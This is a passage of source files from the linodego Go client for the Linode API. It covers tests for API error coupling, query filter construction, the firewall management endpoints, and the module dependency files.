`) buf := io.NopCloser(bytes.NewBuffer(rawResponse)) resp := &resty.Response{ Request: &resty.Request{ Error: errors.New("Bad Gateway"), }, RawResponse: &http.Response{ Header: http.Header{ "Content-Type": []string{"text/html"}, }, StatusCode: http.StatusBadGateway, Body: buf, }, } expectedError := Error{ Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway), } if _, err := coupleAPIErrors(resp, nil); !cmp.Equal(err, expectedError) { t.Errorf("expected error %#v to match error %#v", err, expectedError) } }) } func TestCoupleAPIErrorsHTTP(t *testing.T) { t.Run("not nil error generates error", func(t *testing.T) { err := errors.New("test") if _, err := coupleAPIErrorsHTTP(nil, err); !cmp.Equal(err, NewError(err)) { t.Errorf("expect a not nil error to be returned as an Error") } }) t.Run("http 500 response error with reasons", func(t *testing.T) { // Create the simulated HTTP response with a 500 status and a JSON body containing the error details apiError := APIError{ Errors: []APIErrorReason{ {Reason: "testreason", Field: "testfield"}, }, } apiErrorBody, _ := json.Marshal(apiError) bodyReader := io.NopCloser(bytes.NewBuffer(apiErrorBody)) resp := &http.Response{ StatusCode: http.StatusInternalServerError, Body: bodyReader, Header: http.Header{"Content-Type": []string{"application/json"}}, Request: &http.Request{Header: http.Header{"Accept": []string{"application/json"}}}, } _, err := coupleAPIErrorsHTTP(resp, nil) expectedMessage := "[500] [testfield] testreason" if err == nil || err.Error() != expectedMessage { t.Errorf("expected error message %q, got: %v", expectedMessage, err) } }) t.Run("http 500 response error without reasons", func(t *testing.T) { // Create the simulated HTTP response with a 500 status and an empty errors array apiError := APIError{ Errors: []APIErrorReason{}, } apiErrorBody, _ := json.Marshal(apiError) bodyReader := io.NopCloser(bytes.NewBuffer(apiErrorBody)) resp := &http.Response{ StatusCode: http.StatusInternalServerError, Body: bodyReader, Header: http.Header{"Content-Type": []string{"application/json"}}, Request: &http.Request{Header: http.Header{"Accept": []string{"application/json"}}}, } _, err := coupleAPIErrorsHTTP(resp, nil) if err != nil { t.Error("http error with no reasons should return no error") } }) t.Run("http response with nil error", func(t *testing.T) { // Create the simulated HTTP response with a 500 status and a nil error resp := &http.Response{ StatusCode: http.StatusInternalServerError, Body: io.NopCloser(bytes.NewBuffer([]byte(`{"errors":[]}`))), // empty errors array in body Header: http.Header{"Content-Type": []string{"application/json"}}, Request: &http.Request{Header: http.Header{"Accept": []string{"application/json"}}}, } _, err := coupleAPIErrorsHTTP(resp, nil) if err != nil { t.Error("http error with no reasons should return no error") } }) t.Run("generic html error", func(t *testing.T) { rawResponse := ` 500 Internal Server Error

500 Internal Server Error


nginx
` route := "/v4/linode/instances/123" ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "text/html") w.WriteHeader(http.StatusInternalServerError) w.Write([]byte(rawResponse)) })) defer ts.Close() client := &httpClient{ httpClient: ts.Client(), } expectedError := Error{ Code: http.StatusInternalServerError, Message: "Unexpected Content-Type: Expected: application/json, Received: text/html\nResponse body: " + rawResponse, } req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, ts.URL+route, nil) if err != nil { t.Fatalf("failed to create request: %v", err) } req.Header.Set("Accept", "application/json") resp, err := client.httpClient.Do(req) if err != nil { t.Fatalf("failed to send request: %v", err) } defer resp.Body.Close() _, err = coupleAPIErrorsHTTP(resp, nil) if diff := cmp.Diff(expectedError, err); diff != "" { t.Errorf("expected error to match but got diff:\n%s", diff) } }) t.Run("bad gateway error", func(t *testing.T) { rawResponse := ` 502 Bad Gateway

502 Bad Gateway


nginx
` buf := io.NopCloser(bytes.NewBuffer([]byte(rawResponse))) resp := &http.Response{ StatusCode: http.StatusBadGateway, Body: buf, Header: http.Header{ "Content-Type": []string{"text/html"}, }, Request: &http.Request{ Header: http.Header{"Accept": []string{"application/json"}}, }, } expectedError := Error{ Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway), } _, err := coupleAPIErrorsHTTP(resp, nil) if !cmp.Equal(err, expectedError) { t.Errorf("expected error %#v to match error %#v", err, expectedError) } }) } func TestErrorIs(t *testing.T) { t.Parallel() defaultError := &Error{ Message: "default error", Code: http.StatusInternalServerError, } for _, tc := range []struct { testName string err1 error err2 error expectedResult bool }{ { testName: "base errors.Is comparision", err1: defaultError, err2: defaultError, expectedResult: true, }, { testName: "wrapped default", err1: fmt.Errorf("test wrap: %w", defaultError), err2: defaultError, expectedResult: true, }, { testName: "deeply wrapped error", err1: fmt.Errorf("wrap 1: %w", fmt.Errorf("wrap 2: %w", defaultError)), err2: defaultError, expectedResult: true, }, { testName: "default and Error from empty resty error", err1: NewError(restyError("", "")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with field", err1: NewError(restyError("", "test field")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with field and reason", err1: NewError(restyError("test reason", "test field")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with reason", err1: NewError(restyError("test reason", "")), err2: defaultError, expectedResult: true, }, { testName: "error and nil", err1: defaultError, err2: nil, expectedResult: false, }, { testName: "wrapped nil", err1: fmt.Errorf("test wrap: %w", nil), err2: defaultError, expectedResult: false, }, { testName: "both errors are different nil", // NOTE: nils of different types are never equal err1: nil, err2: (*Error)(nil), expectedResult: false, }, { testName: "different error types", err1: errors.New("different error type"), err2: defaultError, expectedResult: false, }, } { tc := tc t.Run(tc.testName, func(t *testing.T) { t.Parallel() if errors.Is(tc.err1, tc.err2) != tc.expectedResult { t.Errorf("expected %+#v to be equal %+#v", tc.err1, tc.err2) } }) } } func TestIsNotFound(t *testing.T) { tests := []struct { code int match bool }{ {code: http.StatusNotFound, match: true}, {code: http.StatusInternalServerError}, {code: http.StatusFound}, {code: http.StatusOK}, } for _, tt := range tests { name := http.StatusText(tt.code) t.Run(name, func(t *testing.T) { err := &Error{Code: tt.code} if matches := IsNotFound(err); !matches && tt.match { t.Errorf("should have matched %d", tt.code) } else if matches && !tt.match { t.Errorf("shoudl not have matched %d", tt.code) } }) } } func TestErrHasStatusCode(t *testing.T) { tests := []struct { name string err error codes []int match bool }{ { name: "NotFound", err: &Error{Code: http.StatusNotFound}, codes: []int{http.StatusNotFound}, match: true, }, { name: "NoCodes", err: &Error{Code: http.StatusInternalServerError}, }, { name: "MultipleCodes", err: &Error{Code: http.StatusTeapot}, codes: []int{http.StatusBadRequest, http.StatusTeapot, http.StatusUnavailableForLegalReasons}, match: true, }, { name: "NotALinodeError", err: io.EOF, codes: []int{http.StatusTeapot}, }, { name: "NoMatch", err: &Error{Code: http.StatusTooEarly}, codes: []int{http.StatusLocked, http.StatusTooManyRequests}, }, { name: "NilError", codes: []int{http.StatusGone}, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := ErrHasStatus(tt.err, tt.codes...) if !got && tt.match { t.Errorf("should have matched") } else if got && !tt.match { t.Errorf("should not have matched") } }) } } golang-github-linode-linodego-1.47.0/filter.go000066400000000000000000000037121474652371000212300ustar00rootroot00000000000000package linodego import ( "encoding/json" ) type FilterOperator string const ( Eq FilterOperator = "+eq" Neq FilterOperator = "+neq" Gt FilterOperator = "+gt" Gte FilterOperator = "+gte" Lt FilterOperator = "+lt" Lte FilterOperator = "+lte" Contains FilterOperator = "+contains" Ascending = "asc" Descending = "desc" ) type FilterNode interface { Key() string JSONValueSegment() any } type Filter struct { // Operator is the logic for all Children nodes ("+and"/"+or") Operator string Children []FilterNode // OrderBy is the field you want to order your results by (ex: "+order_by": "class") OrderBy string // Order is the direction in which to order the results ("+order": "asc"/"desc") Order string } func (f *Filter) AddField(op FilterOperator, key string, value any) { f.Children = append(f.Children, &Comp{key, op, value}) } func (f *Filter) MarshalJSON() ([]byte, error) { result := make(map[string]any) if f.OrderBy != "" { result["+order_by"] = f.OrderBy } if f.Order != "" { result["+order"] = f.Order } if f.Operator == "" { for _, c := range f.Children { result[c.Key()] = c.JSONValueSegment() } return json.Marshal(result) } fields := make([]map[string]any, len(f.Children)) for i, c := range f.Children { fields[i] = map[string]any{ c.Key(): c.JSONValueSegment(), } } result[f.Operator] = fields return json.Marshal(result) } type Comp struct { Column string Operator FilterOperator Value any } func (c *Comp) Key() string { return c.Column } func (c *Comp) JSONValueSegment() any { if c.Operator == Eq { return c.Value } return map[string]any{ string(c.Operator): c.Value, } } func Or(order string, orderBy string, nodes ...FilterNode) *Filter { return &Filter{"+or", nodes, orderBy, order} } func And(order string, orderBy string, nodes ...FilterNode) *Filter { return &Filter{"+and", nodes, orderBy, order} } golang-github-linode-linodego-1.47.0/filter_test.go000066400000000000000000000062311474652371000222660ustar00rootroot00000000000000package linodego import ( "encoding/json" "reflect" "testing" ) func TestFilter(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{} f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterAscending(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", "+order_by": "class", "+order": "asc", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{ Order: Ascending, OrderBy: "class", } f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterDescending(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", "+order_by": "class", "+order": "desc", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{ Order: Descending, OrderBy: "class", } f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterAnd(t *testing.T) { expected := map[string]any{ "+and": []map[string]any{ { "vcpus": map[string]any{ "+gte": 12, }, }, { "class": "standard", }, }, } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } c1 := &Comp{"vcpus", Gte, 12} c2 := &Comp{"class", Eq, "standard"} out := And("", "", c1, c2) result, err := out.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterOr(t *testing.T) { expected := map[string]any{ "+or": []map[string]any{ { "vcpus": map[string]any{ "+gte": 12, }, }, { "class": "standard", }, }, } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } c1 := &Comp{"vcpus", Gte, 12} c2 := &Comp{"class", Eq, "standard"} out := Or("", "", c1, c2) result, err := out.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } golang-github-linode-linodego-1.47.0/firewall_devices.go000066400000000000000000000060261474652371000232530ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // FirewallDeviceType represents the different kinds of devices governable by a Firewall type FirewallDeviceType string // FirewallDeviceType constants start with FirewallDevice const ( FirewallDeviceLinode FirewallDeviceType = "linode" FirewallDeviceNodeBalancer FirewallDeviceType = "nodebalancer" ) // FirewallDevice represents a device governed by a Firewall type FirewallDevice struct { ID int `json:"id"` Entity FirewallDeviceEntity `json:"entity"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // FirewallDeviceCreateOptions fields are those accepted by CreateFirewallDevice type FirewallDeviceCreateOptions struct { ID int `json:"id"` Type FirewallDeviceType `json:"type"` } // UnmarshalJSON implements the json.Unmarshaler interface func (device *FirewallDevice) UnmarshalJSON(b []byte) error { type Mask FirewallDevice p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(device), } if err := json.Unmarshal(b, &p); err != nil { return err } device.Created = (*time.Time)(p.Created) device.Updated = (*time.Time)(p.Updated) return nil } // FirewallDeviceEntity contains information about a device associated with a Firewall type FirewallDeviceEntity struct { ID int `json:"id"` Type FirewallDeviceType `json:"type"` Label string `json:"label"` URL string `json:"url"` } // ListFirewallDevices get devices associated with a given Firewall func (c *Client) ListFirewallDevices(ctx context.Context, firewallID int, opts *ListOptions) ([]FirewallDevice, error) { response, err := getPaginatedResults[FirewallDevice](ctx, c, formatAPIPath("networking/firewalls/%d/devices", firewallID), opts) if err != nil { return nil, err } return response, nil } // GetFirewallDevice gets a FirewallDevice given an ID func (c *Client) GetFirewallDevice(ctx context.Context, firewallID, deviceID int) (*FirewallDevice, error) { e := formatAPIPath("networking/firewalls/%d/devices/%d", firewallID, deviceID) response, err := doGETRequest[FirewallDevice](ctx, c, e) if err != nil { return nil, err } return response, nil } // AddFirewallDevice associates a Device with a given Firewall func (c *Client) CreateFirewallDevice(ctx context.Context, firewallID int, opts FirewallDeviceCreateOptions) (*FirewallDevice, error) { e := formatAPIPath("networking/firewalls/%d/devices", firewallID) response, err := doPOSTRequest[FirewallDevice](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteFirewallDevice disassociates a Device with a given Firewall func (c *Client) DeleteFirewallDevice(ctx context.Context, firewallID, deviceID int) error { e := formatAPIPath("networking/firewalls/%d/devices/%d", firewallID, deviceID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/firewall_rules.go000066400000000000000000000037051474652371000227640ustar00rootroot00000000000000package linodego import ( "context" ) // NetworkProtocol enum type type NetworkProtocol string // NetworkProtocol enum values const ( TCP NetworkProtocol = "TCP" UDP NetworkProtocol = "UDP" ICMP NetworkProtocol = "ICMP" IPENCAP NetworkProtocol = "IPENCAP" ) // NetworkAddresses are arrays of ipv4 and v6 addresses type NetworkAddresses struct { IPv4 *[]string `json:"ipv4,omitempty"` IPv6 *[]string `json:"ipv6,omitempty"` } // A FirewallRule is a whitelist of ports, protocols, and addresses for which traffic should be allowed. type FirewallRule struct { Action string `json:"action"` Label string `json:"label"` Description string `json:"description,omitempty"` Ports string `json:"ports,omitempty"` Protocol NetworkProtocol `json:"protocol"` Addresses NetworkAddresses `json:"addresses"` } // FirewallRuleSet is a pair of inbound and outbound rules that specify what network traffic should be allowed. type FirewallRuleSet struct { Inbound []FirewallRule `json:"inbound"` InboundPolicy string `json:"inbound_policy"` Outbound []FirewallRule `json:"outbound"` OutboundPolicy string `json:"outbound_policy"` } // GetFirewallRules gets the FirewallRuleSet for the given Firewall. func (c *Client) GetFirewallRules(ctx context.Context, firewallID int) (*FirewallRuleSet, error) { e := formatAPIPath("networking/firewalls/%d/rules", firewallID) response, err := doGETRequest[FirewallRuleSet](ctx, c, e) if err != nil { return nil, err } return response, nil } // UpdateFirewallRules updates the FirewallRuleSet for the given Firewall func (c *Client) UpdateFirewallRules(ctx context.Context, firewallID int, rules FirewallRuleSet) (*FirewallRuleSet, error) { e := formatAPIPath("networking/firewalls/%d/rules", firewallID) response, err := doPUTRequest[FirewallRuleSet](ctx, c, e, rules) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/firewalls.go000066400000000000000000000074271474652371000217420ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // FirewallStatus enum type type FirewallStatus string // FirewallStatus enums start with Firewall const ( FirewallEnabled FirewallStatus = "enabled" FirewallDisabled FirewallStatus = "disabled" FirewallDeleted FirewallStatus = "deleted" ) // A Firewall is a set of networking rules (iptables) applied to Devices with which it is associated type Firewall struct { ID int `json:"id"` Label string `json:"label"` Status FirewallStatus `json:"status"` Tags []string `json:"tags,omitempty"` Rules FirewallRuleSet `json:"rules"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // DevicesCreationOptions fields are used when adding devices during the Firewall creation process. type DevicesCreationOptions struct { Linodes []int `json:"linodes,omitempty"` NodeBalancers []int `json:"nodebalancers,omitempty"` } // FirewallCreateOptions fields are those accepted by CreateFirewall type FirewallCreateOptions struct { Label string `json:"label,omitempty"` Rules FirewallRuleSet `json:"rules"` Tags []string `json:"tags,omitempty"` Devices DevicesCreationOptions `json:"devices,omitempty"` } // FirewallUpdateOptions is an options struct used when Updating a Firewall type FirewallUpdateOptions struct { Label string `json:"label,omitempty"` Status FirewallStatus `json:"status,omitempty"` Tags *[]string `json:"tags,omitempty"` } // GetUpdateOptions converts a Firewall to FirewallUpdateOptions for use in Client.UpdateFirewall. func (f *Firewall) GetUpdateOptions() FirewallUpdateOptions { return FirewallUpdateOptions{ Label: f.Label, Status: f.Status, Tags: &f.Tags, } } // UnmarshalJSON for Firewall responses func (f *Firewall) UnmarshalJSON(b []byte) error { type Mask Firewall p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(f), } if err := json.Unmarshal(b, &p); err != nil { return err } f.Created = (*time.Time)(p.Created) f.Updated = (*time.Time)(p.Updated) return nil } // ListFirewalls returns a paginated list of Cloud Firewalls func (c *Client) ListFirewalls(ctx context.Context, opts *ListOptions) ([]Firewall, error) { response, err := getPaginatedResults[Firewall](ctx, c, "networking/firewalls", opts) if err != nil { return nil, err } return response, nil } // CreateFirewall creates a single Firewall with at least one set of inbound or outbound rules func (c *Client) CreateFirewall(ctx context.Context, opts FirewallCreateOptions) (*Firewall, error) { e := "networking/firewalls" response, err := doPOSTRequest[Firewall](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // GetFirewall gets a single Firewall with the provided ID func (c *Client) GetFirewall(ctx context.Context, firewallID int) (*Firewall, error) { e := formatAPIPath("networking/firewalls/%d", firewallID) response, err := doGETRequest[Firewall](ctx, c, e) if err != nil { return nil, err } return response, nil } // UpdateFirewall updates a Firewall with the given ID func (c *Client) UpdateFirewall(ctx context.Context, firewallID int, opts FirewallUpdateOptions) (*Firewall, error) { e := formatAPIPath("networking/firewalls/%d", firewallID) response, err := doPUTRequest[Firewall](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteFirewall deletes a single Firewall with the provided ID func (c *Client) DeleteFirewall(ctx context.Context, firewallID int) error { e := formatAPIPath("networking/firewalls/%d", firewallID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/go.mod000066400000000000000000000010311474652371000205120ustar00rootroot00000000000000module github.com/linode/linodego require ( github.com/go-resty/resty/v2 v2.16.3 github.com/google/go-cmp v0.6.0 github.com/google/go-querystring v1.1.0 github.com/jarcoal/httpmock v1.3.1 golang.org/x/net v0.34.0 golang.org/x/oauth2 v0.25.0 golang.org/x/text v0.21.0 gopkg.in/ini.v1 v1.66.6 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/stretchr/testify v1.10.0 gopkg.in/yaml.v3 v3.0.1 // indirect ) go 1.22 retract v1.0.0 // Accidental branch push golang-github-linode-linodego-1.47.0/go.sum000066400000000000000000000052571474652371000205550ustar00rootroot00000000000000github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/go-resty/resty/v2 v2.16.3 h1:zacNT7lt4b8M/io2Ahj6yPypL7bqx9n1iprfQuodV+E= github.com/go-resty/resty/v2 v2.16.3/go.mod h1:hkJtXbA2iKHzJheXYvQ8snQES5ZLGKMwQ07xAwp/fiA= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/jarcoal/httpmock v1.3.1 h1:iUx3whfZWVf3jT01hQTO/Eo5sAYtB2/rqaUuOtpInww= github.com/jarcoal/httpmock v1.3.1/go.mod h1:3yb8rc4BI7TCBhFY8ng0gjuLKJNquuDNiPaZjnENuYg= github.com/maxatome/go-testdeep v1.12.0 h1:Ql7Go8Tg0C1D/uMMX59LAoYK7LffeJQ6X2T04nTH68g= github.com/maxatome/go-testdeep v1.12.0/go.mod h1:lPZc/HAcJMP92l7yI6TRz1aZN5URwUBUAfUNvrclaNM= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= golang.org/x/oauth2 v0.25.0 h1:CY4y7XT9v0cRI9oupztF8AgiIu99L/ksR/Xp/6jrZ70= golang.org/x/oauth2 v0.25.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= golang-github-linode-linodego-1.47.0/go.work000066400000000000000000000000451474652371000207210ustar00rootroot00000000000000go 1.22.0 use ( . ./k8s ./test ) golang-github-linode-linodego-1.47.0/go.work.sum000066400000000000000000000153721474652371000215350ustar00rootroot00000000000000cloud.google.com/go/compute/metadata v0.3.0 h1:Tz+eQXMEqDIKRsmY3cHTL6FVaynIjX2QxYC4trgAKZc= cloud.google.com/go/compute/metadata v0.3.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46 h1:lsxEuwrXEAokXB9qhlbKWPpo3KMLZQ5WB5WLQRW1uq0= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= github.com/creack/pty v1.1.9 h1:uDmaGzcdjhF4i/plgjmEsriH11Y0o7RKapEf/LDaM3w= github.com/evanphx/json-patch v4.12.0+incompatible h1:4onqiflcdA9EOZ4RxV643DvftH5pOlLGNtQ5lPWQu84= github.com/evanphx/json-patch v4.12.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4= github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA= github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7 h1:pdN6V1QBWetyv/0+wjACpqVH+eVULgEjkurDLq3goeM= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= github.com/kisielk/errcheck v1.5.0 h1:e8esj/e4R+SAOwFwN+n3zr0nYeCyeweozKfO23MvHzY= github.com/kisielk/gotool v1.0.0 h1:AV2c/EiW3KqPNT9ZKl07ehoAGi4C5/01Cfbblndcapg= github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw= github.com/moby/spdystream v0.2.0 h1:cjW1zVyyoiM0T7b6UoySUFqzXMoqRckQtXwGPiBhOM8= github.com/moby/spdystream v0.2.0/go.mod h1:f7i0iNDQJ059oMTcWxx8MA/zKFIuD/lY+0GqbN2Wy8c= github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5 h1:8Q0qkMVC/MmWkpIdlvZgcv2o2jrlF6zqVOh7W5YHdMA= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/yuin/goldmark v1.2.1 h1:ruQGxdhGHe7FWOJPT0mKs5+pD2Xs1Bm/kdGlHO04FmM= github.com/yuin/goldmark v1.4.13 h1:fVcFKWvrslecOb/tg+Cc05dkeYx540o0FuFt3nUVDoE= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.24.0 h1:mnl8DM0o513X8fdIkmyFE/5hTYxbwYOjDS/+rK6qpRI= golang.org/x/crypto v0.24.0/go.mod h1:Z1PMYSOR5nyMcyAVAIQSKCDwalqy85Aqn1x3Ws4L5DM= golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw= golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54= golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A= 